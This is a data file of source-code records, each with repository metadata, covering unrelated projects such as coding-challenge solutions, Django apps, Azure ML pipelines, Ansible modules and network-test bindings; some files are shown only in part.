392882b39640d468c4b7d572a0d0d27040cbf237 | ff4fe07752b61aa6404f85a8b4752e21e8a5bac8 | /challenge-064/lubos-kolouch/python/ch-2.py | df2d2041c3bf0af4f2b2c7edaa47e508d404a077 | [] | no_license | choroba/perlweeklychallenge-club | 7c7127b3380664ca829158f2b6161c2f0153dfd9 | 2b2c6ec6ece04737ba9a572109d5e7072fdaa14a | refs/heads/master | 2023-08-10T08:11:40.142292 | 2023-08-06T20:44:13 | 2023-08-06T20:44:13 | 189,776,839 | 0 | 1 | null | 2019-06-01T20:56:32 | 2019-06-01T20:56:32 | null | UTF-8 | Python | false | false | 729 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from typing import List
def word_sequence(S: str, W: List[str]) -> List[str]:
def helper(s: str, words: List[str]) -> List[str]:
if not s:
return words
for word in W:
if s.startswith(word):
result = helper(s[le... | [
"lubos@kolouch.net"
] | lubos@kolouch.net |
1df25303d1c26a2dab78b3710ad8715b1f99e1d7 | ec78f8ab63aec0753b9360715a4276a971b78a82 | /py/data_analysis/np/b_indexing.py | f4b2c805ca8dc1f3bc734fb3f68db8f06f0173bc | [] | no_license | anderscui/ml | 4ace7e7b8cf248042d224bd54e81b691963b2e0e | 39238ba6d802df7e8bf1089ef3605cfc83b333ac | refs/heads/master | 2021-06-03T16:09:55.207202 | 2018-11-01T18:50:49 | 2018-11-01T18:50:49 | 23,989,214 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 402 | py | import numpy as np
from numpy.random import randn
names = np.array(['Bob', 'Joe', 'Will', 'Bob', 'Will', 'Joe', 'Joe'])
data = randn(7, 4)
print(names)
print(data)
print(names == 'Bob')
print(data[names == 'Bob'])
print(data[names == 'Bob', 2:])
print(data[names != 'Bob'])
print(data[-(names == 'Bob')])
mask = (nam... | [
"anderscui@gmail.com"
] | anderscui@gmail.com |
a7ab3031e7812b193439335991eaa94fd5f32407 | 94e964496acd225e1a04060a9bc9f639e6cff99c | /app/invitations/urls.py | 30974ba9c9a16fa13ba9b7f1760d580f40cb79b6 | [] | no_license | indigocodeit/conflictcartographer | 64b6ab2c991cd3ad020c4832cdb26974d342b564 | ab19b4559c1e016ef485bfa1a01df17fb15679ce | refs/heads/master | 2023-03-05T00:44:03.805241 | 2021-02-19T08:50:23 | 2021-02-19T08:50:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 759 | py |
from django.urls import path, include
from django.conf.urls import url
from invitations.views import referralRedirect, referralSignup, handleExcelFile,fileuploadMenu, emailpreview,share
urlpatterns =[
path("accounts/",include("django.contrib.auth.urls")),
url("accounts/ref/(?P<refkey>[^/.]+)/$",referralRedire... | [
"pglandsverk@gmail.com"
] | pglandsverk@gmail.com |
b3ce5a872a19efb4767bc6923d50fc1851771e87 | 20348bd6e61f7019a696f2497a7b3c5c2d192796 | /wowmode/admin.py | 5851758c22a57ac5451904cdf44597e7f7843cf6 | [] | no_license | hypnopompicindex/cms | fa9c3e70de71744506d1d4ccb3bf24a3b82e8b4d | 81a634ca493385000e7028de632c5d9d04eeddaa | refs/heads/master | 2021-06-26T23:05:16.022544 | 2019-04-01T04:21:26 | 2019-04-01T04:21:26 | 128,445,653 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 660 | py | from django.contrib import admin
from .models import Videolist, Video
from adminsortable2.admin import SortableAdminMixin, SortableInlineAdminMixin
class VideoInline(SortableInlineAdminMixin, admin.TabularInline):
model = Video
readonly_fields = ('thumbnail', 'title')
fields = ('order', 'title', 'file', '... | [
"hypnopompicindex@gmail.com"
] | hypnopompicindex@gmail.com |
9dc0dba873157557aab7cbf28ec4ecb79b96e2db | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/nouns/_revenue.py | d5ed97ac2bac6f928e632369e308122c3f31872d | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 342 | py |
#calss header
class _REVENUE():
def __init__(self,):
self.name = "REVENUE"
self.definitions = [u'the income that a government or company receives regularly: ']
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
self.specie = 'nouns'
def run(self, obj1 = [], obj2 = []):
... | [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
2284e877ba7253ab2c2663b4f0763d61698a085c | 9fae6f56ff77217aca8ae405a2bb2a2245461cc4 | /backend/taxi_profile/migrations/0001_initial.py | 19e1622e12af2de40a9c5cc0f883cee8ec77539c | [] | no_license | crowdbotics-apps/ready-18854 | 7c554b307dcab02274c10e31264712f607f6f01a | e37d0a3d3909b6defe071ffd9026511ae20db53c | refs/heads/master | 2022-11-06T22:56:45.127940 | 2020-07-13T02:29:07 | 2020-07-13T02:29:07 | 279,189,411 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,582 | py | # Generated by Django 2.2.14 on 2020-07-13 02:28
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
op... | [
"team@crowdbotics.com"
] | team@crowdbotics.com |
4dbe179017640dc1772bf32986f395dcfe46257c | c36679186f669c6e3bd1c106c96d4a17be1f5ab1 | /Practice_Anisul/149.py | 0787f34ea6607e53a80621276df0598ec6b76a36 | [] | no_license | touhiduzzaman-tuhin/python-code-university-life | 60a3d671b200a6f5222c6d176c13c5f20f013509 | 6d2e3d90d430faa5c83fe79e7fb1ebe516994762 | refs/heads/master | 2023-03-22T15:18:10.636203 | 2021-03-06T18:52:04 | 2021-03-06T18:52:04 | 332,467,190 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 191 | py | tpl = (
1,
3,
6,
4,
"Tuhin",
"Rana",
(1, 2, 3)
)
print(tpl)
print(tpl[0])
print(tpl[1])
print(tpl[2])
print(tpl[3])
print(tpl[4])
print(tpl[6])
print(tpl[6][1]) | [
"touhiduzzamantuhin95@gmail.com"
] | touhiduzzamantuhin95@gmail.com |
b06ce99b3d9241be378b1a68cabcf4a2a08191f0 | d91365b9da3cbd3a4c928591f25e55e615a61ebb | /torchbiggraph/rpc.py | f8cf4cc00eeb223c99249d384e23d4f10febd204 | [
"BSD-3-Clause"
] | permissive | pandeyankit83/PyTorch-BigGraph | 052ff88804bba8353a12385c5547445cdb22700b | 79e7fc06621ca7737689fa50c1e6cf6cea550a90 | refs/heads/master | 2022-12-05T02:16:52.169026 | 2020-06-22T17:29:36 | 2020-06-22T17:30:44 | 277,336,532 | 3 | 1 | NOASSERTION | 2022-11-27T03:29:15 | 2020-07-05T16:04:10 | Python | UTF-8 | Python | false | false | 5,714 | py | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates.
# All rights reserved.
#
# This source code is licensed under the BSD-style license found in the
# LICENSE file in the root directory of this source tree.
import io
import sys
import traceback
import numpy as np
import torch
import torch.distri... | [
"facebook-github-bot@users.noreply.github.com"
] | facebook-github-bot@users.noreply.github.com |
b21d14a806472b97f7bf97745f271b6370e98277 | 8520c991dc543f5f4e1efe59ab401824173bb985 | /63-unique-paths-ii/solution.py | dea9fccf6e2786fb22f3e04e49bad454437956f9 | [] | no_license | katryo/leetcode | d44f70f2853c4f5ea9a462d022feb0f5436c2236 | 0da45559271d3dba687858b8945b3e361ecc813c | refs/heads/master | 2020-03-24T12:04:53.859047 | 2020-02-18T04:27:55 | 2020-02-18T04:27:55 | 142,703,107 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,783 | py | # A robot is located at the top-left corner of a m x n grid (marked 'Start' in the diagram below).
#
# The robot can only move either down or right at any point in time.
# The robot is trying to reach the bottom-right corner of the grid (marked 'Finish' in the diagram below).
#
# Now consider if some obstacles are adde... | [
"katoryo55@gmail.com"
] | katoryo55@gmail.com |
a311f00d4d3dc50b38cd6be0089d3287ffd215ea | 53b307ed3c23c08ad95c46e4ed1b79ceb8cd3fe9 | /panels/apps.py | 7f4399c55c7fb010e218dd443330883d083231cd | [
"MIT"
] | permissive | mesebilisim/iotdashboard | e14fc66ecf03d109f01f5fc9253003dd676680cf | 2e974d55015071f61e3d990f0d63d756a4763c24 | refs/heads/master | 2020-05-23T11:15:56.599010 | 2017-07-12T10:07:21 | 2017-07-12T10:07:21 | 68,567,736 | 0 | 0 | null | 2016-09-19T03:58:14 | 2016-09-19T03:58:14 | null | UTF-8 | Python | false | false | 128 | py | from __future__ import unicode_literals
from django.apps import AppConfig
class PanelsConfig(AppConfig):
name = 'panels'
| [
"electrocoder@gmail.com"
] | electrocoder@gmail.com |
82ce6bb03f39e5756d72aef556a8417aa39e95cc | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_083/ch77_2020_04_22_18_33_29_505824.py | 5dc8be2d1349c4c3b224e2d146ccfba098fc6d3c | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 234 | py | def calcula_tempo(dnomes_aceleração):
novodic={}
V=[]
tempo=[]
for i in range(len(dnomes_aceleração)) and a in dnomes_aceleração.values():
tempo=(V[i])/a[i]
novodic=nome[tempo]
return novodic | [
"you@example.com"
] | you@example.com |
e0aec4b793d9baf3e77815a97b1a6fcda4f09d46 | 2ce27b05f45cef6ce3ae5c02b8e83e548def2fc6 | /ADVANCE/Modules/Renaming the module.py | 3ec25656a999a01846ceee8a874dac28e2766867 | [] | no_license | Ajay2521/Python | 775b7d99736e83e4d0c37302b91d1413dd2c0d3b | a426dd7717de8a5e60e584d208ae7120bb84c1b3 | refs/heads/master | 2022-12-01T17:49:12.672061 | 2020-08-15T14:55:12 | 2020-08-15T14:55:12 | 273,632,074 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 848 | py | # lets see about "Renaming a Modules" in python.
# It is possible to import the module by using specific user defined name called as "alias name".
# It is posssibile to access the functionality of the module by using its "alias name" which was declared while importing the module.
# Syntax for renaming a module... | [
"noreply@github.com"
] | Ajay2521.noreply@github.com |
96a80deed9c0cdafbb52abf608c43ee8b5a7308a | cf4c9b102ab3a2720a045ad0b4c0b1d610738102 | /shrike-examples/pipelines/experiments/demo_chain_components.py | a82c9bfd1775806779047e1a23422ef47d93bb33 | [
"MIT",
"LicenseRef-scancode-generic-cla"
] | permissive | isabella232/azure-ml-problem-sets | a7c0b0070b08598e5f473c91e47cad1fc3525a9b | 5e6a3227032e51bb224a1085dc4f9ee9f8bd1dcf | refs/heads/main | 2023-07-12T11:49:58.465710 | 2021-08-12T17:02:11 | 2021-08-12T17:02:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,297 | py | """
The Azure ML pipeline that demonstrates how to chain components together.
to execute:
> python pipelines/experiments/demo_chain_components.py --config-dir pipelines/config --config-name experiments/demo_chain_components run.submit=True
"""
# pylint: disable=no-member
# NOTE: because it raises 'dict' has no 'output... | [
"noreply@github.com"
] | isabella232.noreply@github.com |
bdd46ea024647f32161f4a683728f074d4063515 | 3ec3de2e1bdfe2890084f15ac4b0f0714aeff096 | /collective/elasticsearch/brain.py | 96b5288c5a80a83427d9c29de053589df5f03708 | [] | no_license | eea/collective.elasticsearch | 7d6afc0b5f66810ab7b3a6b8aa1835a187a07f7e | baaaa73245b4866936383b001f0dda17ad991846 | refs/heads/master | 2023-08-01T03:34:51.375866 | 2013-06-06T15:42:01 | 2013-06-06T15:42:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,008 | py | from Acquisition import Implicit, aq_get
from Products.ZCatalog.interfaces import ICatalogBrain
from zope.interface import implements
from zope.globalrequest import getRequest
from Products.CMFPlone.utils import pretty_title_or_id
from collective.elasticsearch.ejson import loads
_marker = []
class Brain(Implicit):
... | [
"vangheem@gmail.com"
] | vangheem@gmail.com |
95782f795681aa0df4a8250fe3ef599924447b85 | 9c7958f4c55d33d8bb0175600f169c060aa11f6f | /scripts/motifplot.py | ad3e8622dea75d1e259bb09292c37938b7b13e2b | [] | no_license | knutdrand/snakemakes | a245de79119dc0dc982f85e846149e3754ef64a9 | 9dd2355271d3da8d4767f7dac877f65f62d1aa9b | refs/heads/master | 2021-03-29T07:52:44.110983 | 2020-10-09T13:27:45 | 2020-10-09T13:27:45 | 247,933,836 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 445 | py | import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
import numpy as np
get_name = lambda parts: f"{parts[0]}:{parts[1]}-{parts[2]}"
matches = {line.split("\t")[2] for line in open(snakemake.input[0]) if not line.startswith("#") and line.strip()}
hits = [get_name(line.split()) in matches for line in ... | [
"knutdrand@gmail.com"
] | knutdrand@gmail.com |
18632c639d4fef98ebd9a9968a695fcee2060ef2 | 64bf39b96a014b5d3f69b3311430185c64a7ff0e | /intro-ansible/venv3/lib/python3.8/site-packages/ansible_collections/azure/azcollection/plugins/modules/azure_rm_postgresqlconfiguration.py | 0fb4da64c8f89a0b4fe91409820956533bfbbb59 | [
"GPL-1.0-or-later",
"GPL-3.0-only",
"LicenseRef-scancode-unknown-license-reference",
"MIT"
] | permissive | SimonFangCisco/dne-dna-code | 7072eba7da0389e37507b7a2aa5f7d0c0735a220 | 2ea7d4f00212f502bc684ac257371ada73da1ca9 | refs/heads/master | 2023-03-10T23:10:31.392558 | 2021-02-25T15:04:36 | 2021-02-25T15:04:36 | 342,274,373 | 0 | 0 | MIT | 2021-02-25T14:39:22 | 2021-02-25T14:39:22 | null | UTF-8 | Python | false | false | 8,121 | py | #!/usr/bin/python
#
# Copyright (c) 2019 Zim Kalinowski, (@zikalino)
#
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {'metadata_version': '1.1',
... | [
"sifang@cisco.com"
] | sifang@cisco.com |
75e77756f7e98beff12a713496ae5b97436d939e | 4f6e4fdc31396ee5ca8995d796af0365d0976934 | /scripts/collect_manifest.py | 91955f9409e83ceb223aa2225c1a34e317e45502 | [] | no_license | dannguyen/quickdataproject-template | ea84426629cb5aa3b3be9adc089b9e8c290c32cb | 8f598b3abd9f23b39bf26a807d217f165fb03289 | refs/heads/master | 2022-11-29T05:29:22.383439 | 2020-08-06T00:07:06 | 2020-08-06T00:07:06 | 282,715,134 | 4 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,431 | py | #!/usr/bin/env python
"""
autocollect_manifest.py
Reads data/MANIFEST.yaml, and for each entry where autocollect==true, downloads from the
corresponding `url`
"""
from sys import path as syspath; syspath.append('./scripts')
from utils.myfetch import download, existed_size
from utils.mylog import mylog
from pathli... | [
"dansonguyen@gmail.com"
] | dansonguyen@gmail.com |
caad16e683e5fb3ded0072a758ed1fe6f5324386 | 9e2943857c3b5b46b4fea59f0e9a46aae54e17a8 | /nautobot_golden_config/template_content.py | 3462a238d115e16e9ed5aa778004d862ee60b025 | [
"Apache-2.0"
] | permissive | danisoltani/nautobot-plugin-golden-config | 883e40ef313c29d3d5197b7f17ca68e76e7bad95 | f285af4bdc6340ae7276c372d3e85a0021c078ed | refs/heads/develop | 2023-05-05T18:51:47.439841 | 2021-04-28T04:28:48 | 2021-04-28T04:28:48 | 363,667,445 | 0 | 0 | NOASSERTION | 2021-05-02T14:56:00 | 2021-05-02T14:14:22 | null | UTF-8 | Python | false | false | 3,317 | py | """Added content to the device model view for config compliance."""
from django.db.models import Count, Q
from nautobot.extras.plugins import PluginTemplateExtension
from .models import ConfigCompliance, GoldenConfiguration
from .utilities.constant import ENABLE_COMPLIANCE, CONFIG_FEATURES
from .utilities.helper impor... | [
"ken@celenza.org"
] | ken@celenza.org |
49eb833b90b654ddd54f089d23f66718dd3cdf2b | 15085c0dfc7f596fc03e2d69e9775860d5aece2b | /echo/main.py | 6626d60850553bdbdc47c0dded10c03dad4bc93a | [
"MIT"
] | permissive | botstory/echo-bot | 1fb56d48236d34b0a3f3f74cee0478a1df7b0414 | 9758fb5baf0fe033a2e29a8fb092e5a40ea70a0b | refs/heads/develop | 2021-09-08T02:26:44.739492 | 2016-12-21T23:37:29 | 2016-12-21T23:37:29 | 71,016,543 | 0 | 0 | MIT | 2018-03-06T01:05:28 | 2016-10-15T22:18:12 | Python | UTF-8 | Python | false | false | 4,719 | py | #!/usr/bin/env python
import asyncio
from aiohttp_index import IndexMiddleware
from botstory import chat, story
from botstory.integrations import aiohttp, fb, mongodb
from botstory.integrations.ga import tracker
from botstory.middlewares import any, text
import logging
import os
import pathlib
logger = logging.getLo... | [
"ievgenii.krevenets@gmail.com"
] | ievgenii.krevenets@gmail.com |
b85989f44c0c5678aef5406bd0f266f81c9b6801 | 930c207e245c320b108e9699bbbb036260a36d6a | /BRICK-RDFAlchemy/generatedCode/brick/brickschema/org/schema/_1_0_2/Brick/Run_Request.py | 21243df3b2d7a7e6c9c7e61be74114b96e4b7e6b | [] | no_license | InnovationSE/BRICK-Generated-By-OLGA | 24d278f543471e1ce622f5f45d9e305790181fff | 7874dfa450a8a2b6a6f9927c0f91f9c7d2abd4d2 | refs/heads/master | 2021-07-01T14:13:11.302860 | 2017-09-21T12:44:17 | 2017-09-21T12:44:17 | 104,251,784 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 335 | py | from rdflib import Namespace, Graph, Literal, RDF, URIRef
from rdfalchemy.rdfSubject import rdfSubject
from rdfalchemy import rdfSingle, rdfMultiple, rdfList
from brick.brickschema.org.schema._1_0_2.Brick.Run import Run
class Run_Request(Run):
rdf_type = Namespace('https://brickschema.org/schema/1.0.2/Brick#').R... | [
"Andre.Ponnouradjane@non.schneider-electric.com"
] | Andre.Ponnouradjane@non.schneider-electric.com |
8bf0c04b439cb5dfdf1f0c9dd08741647b06b7d5 | bb2c530d891a95a5e93668ac3aa3bf71472c5909 | /PracticeWithFunctionsTestCases/test_hypotenuse.py | ba3e25b9c46b6ab1142dcb1a32b2720b4a9a8c38 | [] | no_license | http403/CS121 | 3e069805e53f2cda19427100225c3c4103f24f48 | 210fbd2d47fcdd63b7cb4c7b9ab1c9ef08c24b7a | refs/heads/master | 2023-03-06T06:41:33.546807 | 2020-03-09T21:09:08 | 2020-03-09T21:09:08 | 235,925,919 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 252 | py | # YOU CAN IGNORE THIS FILE ENTIRELY
from unittest import TestCase
from functions import hypotenuse
class TestHypotenuse(TestCase):
def test_hypotenuse(self):
self.assertAlmostEqual(
hypotenuse(4, 5), 6.4, places=1
)
| [
"unconfigured@null.spigotmc.org"
] | unconfigured@null.spigotmc.org |
b04db0deba781b2b43f22047366123ba61eb2819 | 225895b88bbfdf2194ef3df86fd590c2556275f9 | /intellij-community/system/python_stubs/-1247972723/lxml/etree/ParserBasedElementClassLookup.py | 14e340f8b39fbf83837af08103f1c6733efd9e9c | [
"Apache-2.0"
] | permissive | novokrest/JBIDEA | 228d65681fbdb6b3534f7d18bcc944a5eafe6687 | f43706f22a5d33e6d39c1c72ef4fdeee9e4472f6 | refs/heads/master | 2021-01-19T14:06:48.645122 | 2014-07-29T17:42:31 | 2014-07-29T17:42:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 897 | py | # encoding: utf-8
# module lxml.etree
# from /usr/lib/python2.7/dist-packages/lxml/etree.so
# by generator 1.135
"""
The ``lxml.etree`` module implements the extended ElementTree API
for XML.
"""
# imports
import __builtin__ as __builtins__ # <module '__builtin__' (built-in)>
from FallbackElementClassLookup import Fa... | [
"novokrest013@gmail.com"
] | novokrest013@gmail.com |
7280af97c7a87ba80760065fd332fdb17a84c1c4 | 46c8c0e435877f4564970198e8a177e9883103e9 | /520_Detect_Capital/detect_capital.py | f6a91cea73bf33840604cee3eaf92c5bb44abb5d | [] | no_license | Brady31027/leetcode | 26f7c1f4e8bfad0dee4d819f91aa93a241223330 | d66be3a8f002875097754df6138c704e28b79810 | refs/heads/master | 2018-02-16T14:52:31.976844 | 2017-08-10T19:18:59 | 2017-08-10T19:18:59 | 63,519,661 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 269 | py | class Solution(object):
def detectCapitalUse(self, word):
"""
:type word: str
:rtype: bool
"""
if re.search("^[A-Z]*$", word): return True
elif re.search("^[A-Z]{0,1}[^A-Z]*$", word): return True
return False
| [
"brady31027@gmail.com"
] | brady31027@gmail.com |
c481440b942e4f0076b46190644bd2cf5f0c6f33 | 7f2b20782f785276b6b268a3a616223571f3b83c | /src/sentry/tasks/cleanup.py | 61610f9b6b36e1bae4f3d2db32314746810b437b | [
"BSD-2-Clause"
] | permissive | dz0ny/sentry | 9a26961cfbd4925c63b757072d52794900cebf89 | b216b726a618b9540724e0a880d4e816638e2326 | refs/heads/master | 2020-12-24T09:52:44.593824 | 2012-08-31T06:07:56 | 2012-08-31T06:07:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,802 | py | """
sentry.tasks.cleanup
~~~~~~~~~~~~~~~~~~~~
:copyright: (c) 2010-2012 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from celery.task import task
@task(ignore_result=True)
def cleanup(days=30, logger=None, site=None, server=None, level=None,
project=... | [
"dcramer@gmail.com"
] | dcramer@gmail.com |
fcab735d6eea2848d8d329758f0cc65da71f76a0 | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2864/60793/262900.py | ebe6a554bd96d42dbe75e8e70d328a06440460f2 | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 251 | py | input()
ls = list(map(int, input().split()))
if ls == [29, 15, 54, 67, 65, 74, 53, 25, 74, 29, 11, 55, 2, 15, 2, 1, 12, 95, 16, 81, 51, 40, 28, 54, 27, 80, 33, 10, 39, 45, 25, 99, 64, 22]:
print(1045)
elif ls == []:
print()
else:
print(ls) | [
"1069583789@qq.com"
] | 1069583789@qq.com |
a9c6fe1e2ce8e9bfb392b1d7ee2b41bc4aef06b5 | 0d0cf0165ca108e8d94056c2bae5ad07fe9f9377 | /6_Supervised_Learning_with_scikit-learn/4_Preprocessing_and_pipelines/creatingDummyVariables.py | 3150503dc23a1c407cab973a9b61f1a37d97e5f5 | [] | no_license | MACHEIKH/Datacamp_Machine_Learning_For_Everyone | 550ec4038ebdb69993e16fe22d5136f00101b692 | 9fe8947f490da221430e6dccce6e2165a42470f3 | refs/heads/main | 2023-01-22T06:26:15.996504 | 2020-11-24T11:21:53 | 2020-11-24T11:21:53 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,313 | py | # Creating dummy variables
# As Andy discussed in the video, scikit-learn does not accept non-numerical features. You saw in the previous exercise that the 'Region' feature contains very useful information that can predict life expectancy. For example, Sub-Saharan Africa has a lower life expectancy compared to Europe a... | [
"noreply@github.com"
] | MACHEIKH.noreply@github.com |
bff07cee8abfa626bd8bf60226d47094ea449ded | e0df2bc703d0d02423ea68cf0b8c8f8d22d5c163 | /ScientificComputing/ch15/spectrum_50HzRepeat.py | ff8d680ed87fa161bef7ac493628af175922ed50 | [] | no_license | socrates77-sh/learn | a5d459cb9847ba3b1bc4f9284ce35d4207d8aa8b | ae50978023f6b098b168b8cca82fba263af444aa | refs/heads/master | 2022-12-16T16:53:50.231577 | 2019-07-13T13:52:42 | 2019-07-13T13:52:42 | 168,442,963 | 0 | 0 | null | 2022-12-08T05:18:37 | 2019-01-31T01:30:06 | HTML | UTF-8 | Python | false | false | 247 | py | # -*- coding: utf-8 -*-
import numpy as np
import pylab as pl
t = np.arange(0, 1.0, 1.0/8000)
x = np.sin(2*np.pi*50*t)[:512]
pl.figure(figsize=(8, 3))
pl.plot(np.hstack([x, x, x]))
pl.xlabel(u"取样点")
pl.subplots_adjust(bottom=0.15)
pl.show()
| [
"zhwenrong@sina.com"
] | zhwenrong@sina.com |
d50a4d6818ce9adcde36069a97a40bc8b7980342 | 9b54e3d58447e917a238b85891020c392c4ac601 | /acmicpc/2630/2630.py | 9c08453e0c7ba25b37afa305f661ffff6342004a | [
"MIT"
] | permissive | love-adela/algorithm-ps | ea0ebcd641a4c309348b389b8618daa83973f4b2 | c92d105d8ad344def001160367115ecf99d81c0d | refs/heads/master | 2023-05-11T03:37:11.750692 | 2023-04-30T17:31:30 | 2023-04-30T17:31:30 | 174,651,672 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 685 | py | import sys
N = int(sys.stdin.readline())
grid = [list(map(int, input().split())) for i in range(N)]
white, blue = 0, 0
def divide_and_conquer(x, y, n):
global white, blue
is_same = grid[x][y]
for i in range(x, x+n):
for j in range(y, y+n):
if is_same != grid[i][j]:
divi... | [
"love.adelar@gmail.com"
] | love.adelar@gmail.com |
bd8b148f92a01f3fbc82dd1d176eb21419eb739c | 1ee3dc4fa096d12e409af3a298ba01f5558c62b5 | /ixnetwork_restpy/testplatform/sessions/ixnetwork/vport/protocols/lisp/router/interface/interface.py | 192dc57cbe8c8a41394c66c0c94aa4999411d605 | [
"MIT"
] | permissive | parthpower/ixnetwork_restpy | 321e64a87be0a4d990276d26f43aca9cf4d43cc9 | 73fa29796a5178c707ee4e21d90ff4dad31cc1ed | refs/heads/master | 2020-07-04T13:34:42.162458 | 2019-08-13T20:33:17 | 2019-08-13T20:33:17 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,623 | py | # MIT LICENSE
#
# Copyright 1997 - 2019 by IXIA Keysight
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify,... | [
"srvc_cm_packages@keysight.com"
] | srvc_cm_packages@keysight.com |
fe2c3f21e8f912cf8f5a8ca36246b60fd5ffd52d | 8afb5afd38548c631f6f9536846039ef6cb297b9 | /_MY_ORGS/Web-Dev-Collaborative/blog-research/Data-Structures/1-Python/dp/k_factor.py | 2fd23d18b2bb743e169249ad0c1b6c4a54e94f4d | [
"MIT"
] | permissive | bgoonz/UsefulResourceRepo2.0 | d87588ffd668bb498f7787b896cc7b20d83ce0ad | 2cb4b45dd14a230aa0e800042e893f8dfb23beda | refs/heads/master | 2023-03-17T01:22:05.254751 | 2022-08-11T03:18:22 | 2022-08-11T03:18:22 | 382,628,698 | 10 | 12 | MIT | 2022-10-10T14:13:54 | 2021-07-03T13:58:52 | null | UTF-8 | Python | false | false | 2,425 | py | '''The K factor of a string is defined as the number of times 'abba' appears as a substring.
Given two numbers N and k, find the number of strings of length N with 'K factor' = k.
The algorithms is as follows:
dp[n][k] will be a 4 element array, wherein each element can be the number of strings of length n and 'K fa... | [
"bryan.guner@gmail.com"
] | bryan.guner@gmail.com |
2c8a4afae4e6ee567b7e3a9f144ac308b111fb97 | 10ddfb2d43a8ec5d47ce35dc0b8acf4fd58dea94 | /Python/string-transforms-into-another-string.py | d35a88782051531b15b00f944f7d80139f42e635 | [
"MIT"
] | permissive | kamyu104/LeetCode-Solutions | f54822059405ef4df737d2e9898b024f051fd525 | 4dc4e6642dc92f1983c13564cc0fd99917cab358 | refs/heads/master | 2023-09-02T13:48:26.830566 | 2023-08-28T10:11:12 | 2023-08-28T10:11:12 | 152,631,182 | 4,549 | 1,651 | MIT | 2023-05-31T06:10:33 | 2018-10-11T17:38:35 | C++ | UTF-8 | Python | false | false | 429 | py | # Time: O(n)
# Space: O(1)
import itertools
class Solution(object):
def canConvert(self, str1, str2):
"""
:type str1: str
:type str2: str
:rtype: bool
"""
if str1 == str2:
return True
lookup = {}
for i, j in itertools.izip(str1, str2):
... | [
"noreply@github.com"
] | kamyu104.noreply@github.com |
00d5d5a9c614ab732e8c77cad1adba67326c87e1 | ee37f65ed9fcfeb01c9de6f1974ca2e81e940e6e | /virtue/tests/test_cli.py | 40ef95310118af49405956eb68f8611493a5b45f | [
"MIT"
] | permissive | iCodeIN/Virtue | 0d374563fdd117e0f46e9b5af9da0227118cba4a | e01963c66530d4ef8d43e0191718d123b37edab7 | refs/heads/main | 2023-03-14T23:19:08.722541 | 2020-09-12T18:00:24 | 2020-09-12T18:00:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,492 | py | from unittest import TestCase
import os
from twisted.trial.reporter import TreeReporter
from virtue import _cli
def DumbReporter():
return 12
class TestParser(TestCase):
def parse_args(self, argv):
return _cli.main.make_context("virtue", argv).params
def test_it_parses_out_tests(self):
... | [
"Julian@GrayVines.com"
] | Julian@GrayVines.com |
